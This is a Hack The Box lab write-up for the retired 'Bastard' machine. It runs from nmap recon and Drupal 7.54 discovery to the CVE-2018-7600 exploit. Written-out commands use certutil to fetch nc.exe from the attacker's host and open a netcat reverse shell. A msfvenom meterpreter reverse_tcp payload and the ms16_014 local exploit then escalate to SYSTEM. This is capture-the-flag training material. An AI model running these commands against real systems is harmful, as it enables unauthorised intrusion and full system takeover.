hackthebox - retired - Bastard

Hackthebox.eu - Retired - Bastard

Recon

As always I start with a simple Up/Down scan on all TCP port to see what is open

# nmap -T4 -p- -oX ./nmapb.xml bastard.htb

Then I convert it to HTML to make it pretty :)

 xsltproc ./nmapb.xml -o ./nmapb.html

We have port 80,135 and 49154

Let's scan just again on those ports with the -A switch to finger OS/Services

# nmap -T4 -p80,135,49154 -A -oX ./nmapf.xml bastard.htb

Then convert that to HTML also

  xsltproc ./nmapf.xml -o ./nmapf.html

So we have IIS 7.5 on 80 and RPC on 135 and 49154

Lets see whats on 80

A login form powered by Drupal

There are a bunch of listings in the robots.txt for the site

I found this while enumerating through the robots.txt list

Drupal 7.54

Expolit

Googling around for exploits on Drupal 7.54 we find

https://github.com/pimps/CVE-2018-7600

Which will allow us to execute commands with

I cloned it to my attacking machine

# git clone https://github.com/pimps/CVE-2018-7600.git

Then ran a simple whoami to see if it worked

 python drupa7-CVE-2018-7600.py http://bastard.htb -c "whoami"

Cool

Iusr sounds like a pretty low level user though

Setup my an ICMP listenter and tried ping to see if that worked too

~# tcpdump -i tun0 -n icmp

python drupa7-CVE-2018-7600.py http://bastard.htb -c "ping  10.10.14.48"

Lets get some more info on the box so we can setup our reverse shell.

python drupa7-CVE-2018-7600.py http://bastard.htb -c "systeminfo"

Ok its a windows server 2008r2 box,x64

Let's get our shell

I'm just going to copy over netcat.exe to the bastard box and have it connect back to my machine..

I copy nc.exe to my working directory

~/Desktop/HTB/bastard/CVE-2018-7600# cp /usr/share/windows-resources/binaries/nc.exe ./

Then I start SimpleHTTPServer in that directory

~/Desktop/HTB/bastard/CVE-2018-7600# python -m SimpleHTTPServer

Then I use certutil to download that file to bastard

python drupa7-CVE-2018-7600.py http://bastard.htb -c "certutil.exe -urlcache -split -f "http://10.10.14.48:8000/nc.exe" nc.exe"

We can see the file getting transferred here

Then I setup my listener

# nc -lvp 4444

The only thing left to do here is call the exe

 python drupa7-CVE-2018-7600.py http://bastard.htb -c " nc.exe 10.10.14.48 4444 -e cmd.exe"

Ok we have foothold as the user isusr

We can read the user.txt flag from this 

Now I'm going to upload a reverse meterpreter shell to escalate

Step one, create payload using msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.48 lport=443 -f exe -o bastard.exe

Then I'll use SimpleHTTPServer to upload it to bastard

# python -m SimpleHTTPServer

Then from my shell, I'll use certutil to download the payload

certutil.exe -urlcache -split -f "http://10.10.14.48:8000/bastard.exe" bastard.exe

Setup a new meterpreter listener

Msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

Set Lhost 10.10.14.48

Set lport 443

Now that we have our meterpreter listener running we simply run the bastard.exe we created and downloaded to bastard

Checking back on my kali box

We see we did get a meterpreter shell opened.

I put it to background and loaded up

 use post/multi/recon/local_exploit_suggester 

Set it to session 1 and let it see what this box might be vulnerable to. ( if we were paying attention earlier from a systeminfo screen we would have seen there have been zero patches to this box)

[*] 10.10.10.9 - 13 exploit checks are being tried...

[+] 10.10.10.9 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.

[+] 10.10.10.9 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.

[+] 10.10.10.9 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.

[+] 10.10.10.9 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.

[+] 10.10.10.9 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.

[+] 10.10.10.9 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.

We get a list of apparent vulns on this machine. The first two didn't work since the user is not a member of the administrators group.

But when we load up

Use exploit/windows/local/ms16_014_wmi_recv_notif

Set our options

Set session 1

Set lhost 10.10.14.48

Set lport 5555

And run

We get…..

Woohooo we are system

Let's grab that hash yo.